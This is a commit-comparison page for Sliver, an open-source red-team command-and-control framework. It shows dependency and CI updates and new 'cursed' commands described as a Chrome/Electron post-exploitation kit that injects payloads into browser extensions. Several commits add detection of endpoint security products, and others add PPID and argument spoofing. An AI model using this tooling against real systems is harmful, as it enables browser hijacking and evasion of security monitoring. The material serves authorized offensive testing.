Compare commits

...
114 Commits
Author SHA1 Message Date
moloch-- ba3ec022bb Add lic 2022-09-13 08:31:11 -06:00
moloch-- 394ba431b2 Add lic 2022-09-13 08:28:52 -06:00
moloch-- cda6aeaee6 Remove un-needed pointers 2022-09-13 08:25:37 -06:00
moloch-- 187f9e99ac Refactor c2 url handling 2022-09-12 20:40:39 -06:00
Joe 1f6abf9be3 Merge pull request #863 from BishopFox/a7aadependabot/go_modules/github.com/sirupsen/logrus-1.9.0
Bump github.com/sirupsen/logrus from 1.8.1 to 1.9.0
2022-09-12 14:54:13 -05:00
Joe 25a22054b7 Merge branch 'master' into a7aadependabot/go_modules/github.com/sirupsen/logrus-1.9.0
Signed-off-by: Joe <[email protected]>
2022-09-12 11:02:42 -05:00
Joe 64c5460545 Merge pull request #862 from BishopFox/c6cfdependabot/go_modules/github.com/AlecAivazis/survey/v2-2.3.6
Bump github.com/AlecAivazis/survey/v2 from 2.2.2 to 2.3.6
2022-09-12 11:01:44 -05:00
dependabot[bot] 76fb9dfc93 Bump github.com/AlecAivazis/survey/v2 from 2.2.2 to 2.3.6
Bumps [github.com/AlecAivazis/survey/v2](https://github.com/AlecAivazis/survey) from 2.2.2 to 2.3.6.
- [Release notes](https://github.com/AlecAivazis/survey/releases)
- [Commits](https://github.com/AlecAivazis/survey/compare/v2.2.2...v2.3.6)

---
updated-dependencies:
- dependency-name: github.com/AlecAivazis/survey/v2
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2022-09-12 15:16:37 +00:00
Joe ccd3ed2250 Merge pull request #861 from BishopFox/2e20dependabot/go_modules/github.com/spf13/cobra-1.5.0
Bump github.com/spf13/cobra from 1.1.1 to 1.5.0
2022-09-12 10:14:30 -05:00
Joe fb5c6c0c88 Merge branch 'master' into a7aadependabot/go_modules/github.com/sirupsen/logrus-1.9.0
Signed-off-by: Joe <[email protected]>
2022-09-12 10:13:57 -05:00
Joe 11878069f6 Merge pull request #864 from BishopFox/2a7fdependabot/go_modules/github.com/cheggaaa/pb/v3-3.1.0
Bump github.com/cheggaaa/pb/v3 from 3.0.5 to 3.1.0
2022-09-12 10:12:50 -05:00
Joe 3db3930091 Merge pull request #865 from BishopFox/024fdependabot/go_modules/github.com/gofrs/uuid-4.3.0incompatible
Bump github.com/gofrs/uuid from 4.0.0+incompatible to 4.3.0+incompatible
2022-09-12 10:12:05 -05:00
dependabot[bot] 9e6412c911 Bump github.com/gofrs/uuid from 4.0.0+incompatible to 4.3.0+incompatible
Bumps [github.com/gofrs/uuid](https://github.com/gofrs/uuid) from 4.0.0+incompatible to 4.3.0+incompatible.
- [Release notes](https://github.com/gofrs/uuid/releases)
- [Commits](https://github.com/gofrs/uuid/compare/v4.0.0...v4.3.0)

---
updated-dependencies:
- dependency-name: github.com/gofrs/uuid
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2022-09-12 03:21:06 +00:00
dependabot[bot] ade96fa281 Bump github.com/cheggaaa/pb/v3 from 3.0.5 to 3.1.0
Bumps [github.com/cheggaaa/pb/v3](https://github.com/cheggaaa/pb) from 3.0.5 to 3.1.0.
- [Release notes](https://github.com/cheggaaa/pb/releases)
- [Commits](https://github.com/cheggaaa/pb/compare/v3.0.5...v3.1.0)

---
updated-dependencies:
- dependency-name: github.com/cheggaaa/pb/v3
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2022-09-12 03:21:00 +00:00
dependabot[bot] 3035d75882 Bump github.com/sirupsen/logrus from 1.8.1 to 1.9.0
Bumps [github.com/sirupsen/logrus](https://github.com/sirupsen/logrus) from 1.8.1 to 1.9.0.
- [Release notes](https://github.com/sirupsen/logrus/releases)
- [Changelog](https://github.com/sirupsen/logrus/blob/master/CHANGELOG.md)
- [Commits](https://github.com/sirupsen/logrus/compare/v1.8.1...v1.9.0)

---
updated-dependencies:
- dependency-name: github.com/sirupsen/logrus
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2022-09-12 03:20:53 +00:00
dependabot[bot] 4ed95375e0 Bump github.com/spf13/cobra from 1.1.1 to 1.5.0
Bumps [github.com/spf13/cobra](https://github.com/spf13/cobra) from 1.1.1 to 1.5.0.
- [Release notes](https://github.com/spf13/cobra/releases)
- [Commits](https://github.com/spf13/cobra/compare/v1.1.1...v1.5.0)

---
updated-dependencies:
- dependency-name: github.com/spf13/cobra
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2022-09-12 03:20:38 +00:00
Ronan Kervella 9ee10c5321 Merge pull request #860 from BishopFox/cleanup
Random cleanups and improvements
2022-09-09 14:41:54 -07:00
moloch-- 3cc7be8a9f Random cleanups and improvements 2022-09-09 11:02:04 -07:00
Joe d411d2400c Merge pull request #859 from BishopFox/fix/certs
Fix low entropy x509 subjects
2022-09-08 20:20:44 -05:00
moloch-- e31cafa81d Fix low entropy x509 subjects 2022-09-08 17:37:02 -07:00
Ronan Kervella 80677e652b Merge pull request #857 from cmprmsd/patch-1
Add sysmon + sysmon64
2022-09-08 07:32:01 -07:00
cmprmsd 88abea26a7 Add sysmon + sysmon64
As Sysmon is more commonly used for logging I assume we should flag it also as known security tool.

Signed-off-by: cmprmsd <[email protected]>
2022-09-08 10:46:53 +02:00
Joe 120d537044 Merge pull request #855 from faisalfs10x/faisalfs10x-patch-1
Add trend micro processes
2022-09-07 19:12:07 -05:00
Faisal Fs 59781d4328 Update ps.go
Signed-off-by: Faisal Fs <[email protected]>
2022-09-08 06:36:05 +08:00
Ronan Kervella f117995aa1 Merge pull request #854 from r00t0v3rr1d3/add-cylance-tanium-senone
Add additional known security tools
2022-09-07 15:16:39 -07:00
Faisal Fs e4793cf616 Add trend micro processes
Add known Trend Micro processes
reference: https://success.trendmicro.com/dcx/s/solution/1122160-monitoring-deep-security-services?language=en_US&sfdcIFrameOrigin=null

Signed-off-by: Faisal Fs <[email protected]>
2022-09-08 06:08:43 +08:00
Chris Shields b68f4bffd3 Add additional known security tools
Few more SentinelOne processes. Cylance and Tanium processes.
2022-09-07 17:00:33 -04:00
Joe 22fea029ec Merge pull request #853 from BishopFox/audit-log
Improvements to the audit log
2022-09-07 14:25:51 -05:00
moloch-- b1db1ab614 improvements to the audit log 2022-09-07 10:20:10 -07:00
Joe 40b99e860f Merge pull request #851 from jamesgol/loot_file
Catch error on 'loot remote' if file doesn't exist
2022-09-07 10:06:40 -05:00
James Golovich 56d143b018 Catch error on 'loot remote' if file doesn't exist 2022-09-06 23:02:20 -07:00
Ronan Kervella 327f7c6826 Merge pull request #850 from jamesgol/websites-strip
Strip query parameters from URLs for incoming HTTP(s) websites
2022-09-06 17:26:04 -07:00
James Golovich eb9506510e Handle err condition 2022-09-06 16:19:03 -07:00
James Golovich 9c5aa26af9 Strip query parameters from URLs for incoming HTTP(s) websites 2022-09-06 16:05:26 -07:00
Ronan Kervella f2b78748de Merge pull request #849 from BishopFox/update/gorm
Update/gorm
2022-09-06 13:35:18 -07:00
moloch-- 891bb49f1a Make TAGS overridable in Makefile 2022-09-06 12:39:12 -07:00
moloch-- 82d1728360 Updated gorm and db drivers 2022-09-06 12:36:02 -07:00
moloch-- 01b6a3c657 Updated gorm and db drivers 2022-09-06 12:35:49 -07:00
Ronan Kervella 312f133f1e Merge pull request #847 from BishopFox/go/v1.18.6
Go v1.18.6
2022-09-06 11:02:47 -07:00
Ronan Kervella a141e1f689 Merge pull request #848 from BishopFox/fix/execute-assembly-ppid
Fix `execute-assembly`, add PPID and arg spoofing to `sideload`
2022-09-06 11:02:36 -07:00
Joe a9a16aaa39 Merge pull request #842 from BishopFox/bf79dependabot/go_modules/github.com/alecthomas/chroma-0.10.0
Bump github.com/alecthomas/chroma from 0.8.1 to 0.10.0
2022-09-06 13:02:21 -05:00
Joe 2c944db7ed Merge pull request #841 from BishopFox/2447dependabot/github_actions/actions/download-artifact-3
Bump actions/download-artifact from 2 to 3
2022-09-06 13:01:50 -05:00
Joe b93f939ec5 Merge pull request #840 from BishopFox/ce34dependabot/github_actions/actions/upload-artifact-3
Bump actions/upload-artifact from 2 to 3
2022-09-06 13:01:34 -05:00
Joe ba07826d83 Merge pull request #839 from BishopFox/2451dependabot/github_actions/github/codeql-action-2
Bump github/codeql-action from 1 to 2
2022-09-06 13:01:19 -05:00
Joe 09fb3e0095 Merge pull request #838 from BishopFox/3694dependabot/github_actions/actions/setup-go-3
Bump actions/setup-go from 2 to 3
2022-09-06 13:01:03 -05:00
Joe be9c34e1ef Merge pull request #837 from BishopFox/a8fedependabot/github_actions/actions/checkout-3
Bump actions/checkout from 2 to 3
2022-09-06 13:00:47 -05:00
Joe d5945898b3 Merge pull request #844 from BishopFox/8995dependabot/go_modules/github.com/miekg/dns-1.1.50
Bump github.com/miekg/dns from 1.1.35 to 1.1.50
2022-09-06 13:00:24 -05:00
rkervella 7d8457d494 Use proper type for PPID flag, add ppid + process args to sideload 2022-09-06 10:20:01 -07:00
dependabot[bot] 330ceea52f Bump github.com/alecthomas/chroma from 0.8.1 to 0.10.0
Bumps [github.com/alecthomas/chroma](https://github.com/alecthomas/chroma) from 0.8.1 to 0.10.0.
- [Release notes](https://github.com/alecthomas/chroma/releases)
- [Changelog](https://github.com/alecthomas/chroma/blob/master/.goreleaser.yml)
- [Commits](https://github.com/alecthomas/chroma/compare/v0.8.1...v0.10.0)

---
updated-dependencies:
- dependency-name: github.com/alecthomas/chroma
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2022-09-06 17:00:31 +00:00
Joe afe4fb04a3 Merge branch 'master' into 8995dependabot/go_modules/github.com/miekg/dns-1.1.50
Signed-off-by: Joe <[email protected]>
2022-09-06 11:59:31 -05:00
Joe e89a04f747 Merge pull request #846 from BishopFox/0121dependabot/go_modules/github.com/fatih/color-1.13.0
Bump github.com/fatih/color from 1.12.0 to 1.13.0
2022-09-06 11:58:59 -05:00
moloch-- e8aae22d50 Go v1.18.6 2022-09-06 09:58:23 -07:00
dependabot[bot] 003f882be5 Bump github.com/fatih/color from 1.12.0 to 1.13.0
Bumps [github.com/fatih/color](https://github.com/fatih/color) from 1.12.0 to 1.13.0.
- [Release notes](https://github.com/fatih/color/releases)
- [Commits](https://github.com/fatih/color/compare/v1.12.0...v1.13.0)

---
updated-dependencies:
- dependency-name: github.com/fatih/color
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2022-09-06 15:25:02 +00:00
dependabot[bot] bb2a56d469 Bump github.com/miekg/dns from 1.1.35 to 1.1.50
Bumps [github.com/miekg/dns](https://github.com/miekg/dns) from 1.1.35 to 1.1.50.
- [Release notes](https://github.com/miekg/dns/releases)
- [Changelog](https://github.com/miekg/dns/blob/master/Makefile.release)
- [Commits](https://github.com/miekg/dns/compare/v1.1.35...v1.1.50)

---
updated-dependencies:
- dependency-name: github.com/miekg/dns
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <[email protected]>
2022-09-06 15:24:49 +00:00
dependabot[bot] bb36fb6850 Bump actions/download-artifact from 2 to 3
Bumps [actions/download-artifact](https://github.com/actions/download-artifact) from 2 to 3.
- [Release notes](https://github.com/actions/download-artifact/releases)
- [Commits](https://github.com/actions/download-artifact/compare/v2...v3)

---
updated-dependencies:
- dependency-name: actions/download-artifact
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <[email protected]>
2022-09-06 15:24:04 +00:00
dependabot[bot] dd31ae253c Bump actions/upload-artifact from 2 to 3
Bumps [actions/upload-artifact](https://github.com/actions/upload-artifact) from 2 to 3.
- [Release notes](https://github.com/actions/upload-artifact/releases)
- [Commits](https://github.com/actions/upload-artifact/compare/v2...v3)

---
updated-dependencies:
- dependency-name: actions/upload-artifact
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <[email protected]>
2022-09-06 15:24:02 +00:00
dependabot[bot] 307b1998a1 Bump github/codeql-action from 1 to 2
Bumps [github/codeql-action](https://github.com/github/codeql-action) from 1 to 2.
- [Release notes](https://github.com/github/codeql-action/releases)
- [Changelog](https://github.com/github/codeql-action/blob/main/CHANGELOG.md)
- [Commits](https://github.com/github/codeql-action/compare/v1...v2)

---
updated-dependencies:
- dependency-name: github/codeql-action
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <[email protected]>
2022-09-06 15:23:58 +00:00
dependabot[bot] 381e131438 Bump actions/setup-go from 2 to 3
Bumps [actions/setup-go](https://github.com/actions/setup-go) from 2 to 3.
- [Release notes](https://github.com/actions/setup-go/releases)
- [Commits](https://github.com/actions/setup-go/compare/v2...v3)

---
updated-dependencies:
- dependency-name: actions/setup-go
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <[email protected]>
2022-09-06 15:23:55 +00:00
dependabot[bot] c9898b9854 Bump actions/checkout from 2 to 3
Bumps [actions/checkout](https://github.com/actions/checkout) from 2 to 3.
- [Release notes](https://github.com/actions/checkout/releases)
- [Changelog](https://github.com/actions/checkout/blob/main/CHANGELOG.md)
- [Commits](https://github.com/actions/checkout/compare/v2...v3)

---
updated-dependencies:
- dependency-name: actions/checkout
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <[email protected]>
2022-09-06 15:23:52 +00:00
Ronan Kervella 9dd5dd9c93 Merge pull request #835 from BishopFox/dependabot
Enable dependabot workflow
2022-09-06 08:23:28 -07:00
Joe 01f2d0c9de Merge pull request #836 from cmprmsd/patch-1
Add carbon black cloud sensor
2022-09-06 09:38:22 -05:00
cmprmsd fd1b873f75 Add carbon black cloud sensor
This adds known Carbon Black processes

Signed-off-by: cmprmsd <[email protected]>
2022-09-06 12:16:09 +02:00
moloch-- bb51a9f1a6 Enable dependabot workflow 2022-09-05 11:12:57 -07:00
Ronan Kervella f1d4a51e73 Merge pull request #831 from BishopFox/fix/ux-828
Fix issue #828
2022-09-04 12:56:41 -07:00
Ronan Kervella d003f5a4ac Merge pull request #832 from BishopFox/feature/tasks-cancel
Feature/tasks cancel
2022-09-04 12:56:19 -07:00
moloch-- 36277b9d46 Fix ui workflow 2022-09-04 10:48:51 -07:00
moloch-- c90988aba5 Added state display for canceled 2022-09-04 10:42:16 -07:00
moloch-- a6dca18cdc Initial task cancel implementation 2022-09-04 10:38:26 -07:00
moloch-- dd48b4b71d Fix issue #828 2022-09-04 09:23:49 -07:00
Ronan Kervella 91e6ea5e05 Merge pull request #829 from BishopFox/fix/stale-sessions-prune
Remove session from server state on kill, fix issue #781
2022-09-03 19:05:39 -07:00
Ronan Kervella 3a8201c202 Merge pull request #830 from BishopFox/cdp
Implemented cursed screenshot and better porfwd tunnel cleanup handling
2022-09-03 19:05:17 -07:00
moloch-- 0c5f8a123b Implemented cursed screenshot and better porfwd tunnel cleanup handling 2022-09-03 16:07:35 -07:00
moloch-- 2ea605e915 Remove session from server state on kill, fix issue #781 2022-09-03 15:38:24 -07:00
Ronan Kervella 583edd7a2f Merge pull request #827 from BishopFox/fix/portfwd-815
Fix/portfwd 815
2022-09-03 14:06:34 -07:00
Ronan Kervella e03381994c Merge pull request #826 from BishopFox/cdp
Cursed Edge Support
2022-09-02 17:45:50 -07:00
moloch-- 536ac4dd0f fix issue #815 2022-09-02 16:52:56 -07:00
moloch-- 651941844a removed unused flags 2022-09-02 16:03:52 -07:00
moloch-- 88a5b3a01c cursed support for edge and chromium 2022-09-02 16:03:27 -07:00
Joe 4c67157f48 Merge pull request #825 from BishopFox/stage
Prevent shellcode generation for other platforms than Windows.
2022-09-02 12:28:10 -05:00
rkervella d02c421e9e Prevent shellcode generation for other platforms than Windows. 2022-09-02 09:35:12 -07:00
Ronan Kervella 157b84ee5b Merge pull request #821 from jamesgol/screenshot
Only log screenshot error if there is one
2022-09-01 16:11:18 -07:00
James Golovich b5f25e14ae Only log error if there is one 2022-09-01 15:11:18 -07:00
Joe 4c9f701e0f Merge pull request #820 from BishopFox/cdp
Cursed updates
2022-09-01 15:02:34 -05:00
Ronan Kervella 336068cdf3 Merge pull request #819 from jamesgol/reaction_file
Include reaction file path in output
2022-09-01 12:48:21 -07:00
rkervella 2b9b4eb5f3 Kill cursed process on removal 2022-09-01 11:42:09 -07:00
rkervella e13faf9682 Actually terminate processes :) 2022-09-01 11:33:05 -07:00
James Golovich 044688ace4 Include reaction file path in output 2022-09-01 09:21:22 -07:00
Ronan Kervella 7e633962ce Merge pull request #818 from BishopFox/cdp
Cursed
2022-09-01 08:26:41 -07:00
moloch-- 7911450862 fixes for windows 2022-08-31 22:56:27 -07:00
moloch-- 519ef88866 ux improvements 2022-08-31 22:36:13 -07:00
moloch-- 823e22e120 ux improvements 2022-08-31 22:28:59 -07:00
moloch-- 94d672619b Initial console implementation 2022-08-31 22:02:39 -07:00
moloch-- 29f5a17339 Fixes to electron cmd 2022-08-31 20:35:40 -07:00
moloch-- d71c45223f Implemented electron cmd 2022-08-31 20:21:36 -07:00
moloch-- 2578513ae3 Outlined electron cmd 2022-08-31 19:43:41 -07:00
moloch-- 552a824e1b Refactor and improved state mgmt 2022-08-31 18:43:51 -07:00
moloch-- 5a352de056 Improved state mgmt 2022-08-31 17:43:56 -07:00
moloch-- 33e5525136 Refactor implemented call to ExecuteJS 2022-08-31 16:48:40 -07:00
moloch-- 756bb7749e Merge branch 'master' into cdp 2022-08-31 14:09:52 -07:00
moloch-- 6233d2fbe7 Merge branch 'master' into cdp 2022-08-31 14:09:16 -07:00
Ronan Kervella 729449b653 Merge pull request #814 from BishopFox/fix/db-by-foo
Fix issue #813
2022-08-31 08:33:01 -07:00
moloch-- f1030ebaa4 Added additional checks for uuid.Nil 2022-08-31 07:08:47 -07:00
Joe 7a962ae120 Merge pull request #812 from jamesgol/unknown_dialect
Panic if someone specifies an invalid DB Dialect
2022-08-31 08:57:17 -05:00
moloch-- 39da957b7c Fix issue #813 2022-08-31 06:56:41 -07:00
moloch-- c230ce0b2e Consolidating state into core.CursedProcess 2022-08-31 06:51:15 -07:00
James Golovich 8b44024672 Panic if someone specifies an invalid DB Dialect 2022-08-30 21:35:35 -07:00
moloch-- f8b17891d1 Implemented some of the initial primatives 2022-08-30 17:35:25 -07:00
Joe 4ffb75fa15 Merge pull request #809 from jamesgol/multi-persist
Ensure persistent multiplayer consoles startup
2022-08-30 11:46:50 -05:00
Ronan Kervella f9bc1a7bd3 Merge pull request #810 from BishopFox/moloch---patch-1
Update CODEOWNERS
2022-08-30 09:45:40 -07:00
moloch-- 867ac37f1f Fix issue #811 2022-08-30 07:43:22 -07:00
moloch-- 04a7148ab7 Initial refactor 2022-08-30 07:05:25 -07:00
moloch-- 010025645b Initial refactor 2022-08-30 07:05:03 -07:00
James Golovich a29135770f Ensure persistent multiplayer consoles startup 2022-08-29 19:36:00 -07:00
moloch-- 8de0eaff13 initial import of some of the overlord code 2022-08-29 16:46:26 -07:00
1188 changed files with 214733 additions and 16207 deletions

No files matched your search

+16
View File
@@ -0,0 +1,16 @@
# Basic set up for three package managers
version: 2
updates:
# Maintain dependencies for GitHub Actions
- package-ecosystem: "github-actions"
directory: "/"
schedule:
interval: "weekly"
# Maintain dependencies for go
- package-ecosystem: "gomod"
directory: "/"
schedule:
interval: "weekly"
+10 -10
View File
@@ -15,9 +15,9 @@ jobs:
steps:
- name: Go 1.18
uses: actions/setup-go@v2
uses: actions/setup-go@v3
with:
go-version: '1.18.5'
go-version: '1.18.6'
- name: OS Packages
run: |
@@ -26,7 +26,7 @@ jobs:
mingw-w64 binutils-mingw-w64 g++-mingw-w64 gcc-multilib
- name: Check out code into the Go module directory
uses: actions/checkout@v2
uses: actions/checkout@v3
- name: Git Fetch Tags
run: git fetch --prune --unshallow --tags -f
@@ -40,7 +40,7 @@ jobs:
run: export PATH=/home/runner/go/bin/:$PATH && make linux
- name: Linux Artifacts
uses: actions/upload-artifact@v2
uses: actions/upload-artifact@v3
with:
name: linux
path: ./sliver-*
@@ -53,7 +53,7 @@ jobs:
export PATH=/home/runner/go/bin/:$PATH && make windows
- name: Windows Artifacts
uses: actions/upload-artifact@v2
uses: actions/upload-artifact@v3
with:
name: windows
path: ./sliver-*
@@ -66,15 +66,15 @@ jobs:
steps:
- name: Go 1.18
uses: actions/setup-go@v2
uses: actions/setup-go@v3
with:
go-version: '1.18.5'
go-version: '1.18.6'
- name: Mingw
run: brew install mingw-w64
- name: Check out code into the Go module directory
uses: actions/checkout@v2
uses: actions/checkout@v3
- name: Git Fetch Tags
run: git fetch --prune --unshallow --tags -f
@@ -93,7 +93,7 @@ jobs:
run: make macos-arm64
- name: MacOS Artifacts
uses: actions/upload-artifact@v2
uses: actions/upload-artifact@v3
with:
name: macos
path: ./sliver-*
@@ -110,7 +110,7 @@ jobs:
steps:
- run: mkdir -p ./builds
- uses: actions/download-artifact@v2
- uses: actions/download-artifact@v3
with:
path: ./builds
+6 -6
View File
@@ -18,12 +18,12 @@ jobs:
steps:
# Setup go environment
- name: Go 1.18
uses: actions/setup-go@v2
uses: actions/setup-go@v3
with:
go-version: "1.18.5"
go-version: "1.18.6"
- name: Checkout repository
uses: actions/checkout@v2
uses: actions/checkout@v3
with:
# Must fetch at least the immediate parents so that if this is
# a pull request then we can checkout the head of the pull request.
@@ -55,14 +55,14 @@ jobs:
&& make install
- name: Check out code into the Go module directory
uses: actions/checkout@v2
uses: actions/checkout@v3
- name: Go Assets
run: ./go-assets.sh
# Initializes the CodeQL tools for scanning.
- name: Initialize CodeQL
uses: github/codeql-action/init@v1
uses: github/codeql-action/init@v2
with:
config-file: ./.github/codeql/codeql-config.yml
languages: go
@@ -72,6 +72,6 @@ jobs:
make
- name: Perform CodeQL Analysis
uses: github/codeql-action/analyze@v1
uses: github/codeql-action/analyze@v2
env:
VERSION: ${{github.sha}}
+6 -6
View File
@@ -21,9 +21,9 @@ jobs:
steps:
- name: Go 1.18
uses: actions/setup-go@v2
uses: actions/setup-go@v3
with:
go-version: '1.18.5'
go-version: '1.18.6'
- name: OS Packages
run: |
@@ -32,7 +32,7 @@ jobs:
mingw-w64 binutils-mingw-w64 g++-mingw-w64 gcc-multilib
- name: Check out code into the Go module directory
uses: actions/checkout@v2
uses: actions/checkout@v3
- name: Git Fetch Tags
run: git fetch --prune --unshallow --tags -f
@@ -56,15 +56,15 @@ jobs:
steps:
- name: Go 1.18
uses: actions/setup-go@v2
uses: actions/setup-go@v3
with:
go-version: '1.18.5'
go-version: '1.18.6'
- name: Mingw
run: brew install mingw-w64
- name: Check out code into the Go module directory
uses: actions/checkout@v2
uses: actions/checkout@v3
- name: Git Fetch Tags
run: git fetch --prune --unshallow --tags -f
+1 -1
View File
@@ -1,4 +1,4 @@
FROM golang:1.18.5
FROM golang:1.18.6
#
# IMPORTANT: This Dockerfile is used for testing, I do not recommend deploying
+1 -1
View File
@@ -5,7 +5,7 @@
GO ?= go
ARTIFACT_SUFFIX ?=
ENV =
TAGS = -tags osusergo,netgo,cgosqlite,sqlite_omit_load_extension
TAGS ?= -tags osusergo,netgo,cgosqlite,sqlite_omit_load_extension
#
+156 -1
View File
@@ -42,6 +42,7 @@ import (
"github.com/bishopfox/sliver/client/command/backdoor"
"github.com/bishopfox/sliver/client/command/beacons"
"github.com/bishopfox/sliver/client/command/completers"
"github.com/bishopfox/sliver/client/command/cursed"
"github.com/bishopfox/sliver/client/command/dllhijack"
"github.com/bishopfox/sliver/client/command/environment"
"github.com/bishopfox/sliver/client/command/exec"
@@ -716,6 +717,28 @@ func BindCommands(con *console.SliverConsoleClient) {
},
HelpGroup: consts.GenericHelpGroup,
})
tasksCmd.AddCommand(&grumble.Command{
Name: consts.CancelStr,
Help: "Cancel a pending beacon task",
LongHelp: help.GetHelpFor([]string{consts.TasksStr, consts.CancelStr}),
Flags: func(f *grumble.Flags) {
f.Bool("O", "overflow", false, "overflow terminal width (display truncated rows)")
f.Int("S", "skip-pages", 0, "skip the first n page(s)")
f.String("f", "filter", "", "filter based on task type (case-insensitive prefix matching)")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Args: func(a *grumble.Args) {
a.String("id", "beacon task ID", grumble.Default(""))
},
Run: func(ctx *grumble.Context) error {
con.Println()
tasks.TasksCancelCmd(ctx, con)
con.Println()
return nil
},
HelpGroup: consts.GenericHelpGroup,
})
con.App.AddCommand(tasksCmd)
// [ Use ] --------------------------------------------------------------
@@ -3298,6 +3321,138 @@ func BindCommands(con *console.SliverConsoleClient) {
f.String("r", "range", "sliver", "Agents range")
},
})
con.App.AddCommand(operatorCmd)
// [ Curse Commands ] ------------------------------------------------------------
cursedCmd := &grumble.Command{
Name: consts.Cursed,
Help: "Chrome/electron post-exploitation tool kit (∩`-´)⊃━☆゚.*・。゚",
LongHelp: help.GetHelpFor([]string{consts.Cursed}),
HelpGroup: consts.GenericHelpGroup,
Flags: func(f *grumble.Flags) {
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Run: func(ctx *grumble.Context) error {
con.Println()
cursed.CursedCmd(ctx, con)
con.Println()
return nil
},
}
cursedCmd.AddCommand(&grumble.Command{
Name: consts.RmStr,
Help: "Remove a Curse from a process",
LongHelp: help.GetHelpFor([]string{consts.Cursed, consts.CursedConsole}),
HelpGroup: consts.GenericHelpGroup,
Flags: func(f *grumble.Flags) {
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
f.Bool("k", "kill", false, "kill the process after removing the curse")
},
Args: func(a *grumble.Args) {
a.Int("bind-port", "bind port of the Cursed process to stop")
},
Run: func(ctx *grumble.Context) error {
con.Println()
cursed.CursedRmCmd(ctx, con)
con.Println()
return nil
},
})
cursedCmd.AddCommand(&grumble.Command{
Name: consts.CursedConsole,
Help: "Start a JavaScript console connected to a debug target",
LongHelp: help.GetHelpFor([]string{consts.Cursed, consts.CursedConsole}),
HelpGroup: consts.GenericHelpGroup,
Flags: func(f *grumble.Flags) {
f.Int("r", "remote-debugging-port", 21099, "remote debugging tcp port")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Run: func(ctx *grumble.Context) error {
con.Println()
cursed.CursedConsoleCmd(ctx, con)
con.Println()
return nil
},
})
cursedCmd.AddCommand(&grumble.Command{
Name: consts.CursedChrome,
Help: "Automatically inject a Cursed Chrome payload into a remote Chrome extension",
LongHelp: help.GetHelpFor([]string{consts.Cursed, consts.CursedChrome}),
HelpGroup: consts.GenericHelpGroup,
Flags: func(f *grumble.Flags) {
f.Int("r", "remote-debugging-port", 21099, "remote debugging tcp port")
f.Bool("R", "restore", true, "restore the user's session after process termination")
f.String("e", "exe", "", "chrome/chromium browser executable path (blank string = auto)")
f.String("u", "user-data", "", "user data directory (blank string = auto)")
f.String("p", "payload", "", "cursed chrome payload file path (.js)")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Run: func(ctx *grumble.Context) error {
con.Println()
cursed.CursedChromeCmd(ctx, con)
con.Println()
return nil
},
})
cursedCmd.AddCommand(&grumble.Command{
Name: consts.CursedEdge,
Help: "Automatically inject a Cursed Chrome payload into a remote Edge extension",
LongHelp: help.GetHelpFor([]string{consts.Cursed, consts.CursedEdge}),
HelpGroup: consts.GenericHelpGroup,
Flags: func(f *grumble.Flags) {
f.Int("r", "remote-debugging-port", 21099, "remote debugging tcp port")
f.Bool("R", "restore", true, "restore the user's session after process termination")
f.String("e", "exe", "", "edge browser executable path (blank string = auto)")
f.String("u", "user-data", "", "user data directory (blank string = auto)")
f.String("p", "payload", "", "cursed chrome payload file path (.js)")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Run: func(ctx *grumble.Context) error {
con.Println()
cursed.CursedEdgeCmd(ctx, con)
con.Println()
return nil
},
})
cursedCmd.AddCommand(&grumble.Command{
Name: consts.ScreenshotStr,
Help: "Take a screenshot of a cursed process debug target",
LongHelp: help.GetHelpFor([]string{consts.Cursed, consts.ScreenshotStr}),
HelpGroup: consts.GenericHelpGroup,
Flags: func(f *grumble.Flags) {
f.Int64("q", "quality", 100, "screenshot quality (1 - 100)")
f.String("s", "save", "", "save to file")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Run: func(ctx *grumble.Context) error {
con.Println()
cursed.CursedScreenshotCmd(ctx, con)
con.Println()
return nil
},
})
cursedCmd.AddCommand(&grumble.Command{
Name: consts.CursedElectron,
Help: "Curse a remote Electron application",
LongHelp: help.GetHelpFor([]string{consts.Cursed, consts.CursedElectron}),
HelpGroup: consts.GenericHelpGroup,
Flags: func(f *grumble.Flags) {
f.String("e", "exe", "", "remote electron executable absolute path")
f.Int("r", "remote-debugging-port", 21099, "remote debugging tcp port")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Run: func(ctx *grumble.Context) error {
con.Println()
cursed.CursedElectronCmd(ctx, con)
con.Println()
return nil
},
})
con.App.AddCommand(cursedCmd)
}
+3
View File
@@ -0,0 +1,3 @@
# Cursed
Cursed is a Sliver Chrome/Electron post-exploitation tool kit based on/integrated with [CursedChrome](https://github.com/mandatoryprogrammer/CursedChrome). Code injection is performed via the [DevTools protocol](https://chromedevtools.github.io/devtools-protocol/).
+425
View File
@@ -0,0 +1,425 @@
package cursed
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
